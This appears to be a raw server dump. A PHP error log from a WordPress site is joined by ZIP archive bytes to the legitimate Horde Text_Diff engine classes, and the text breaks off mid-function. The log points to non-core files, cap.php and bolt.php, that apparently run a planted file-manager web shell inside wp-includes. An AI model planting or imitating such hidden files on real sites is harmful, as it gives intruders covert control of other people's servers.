[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
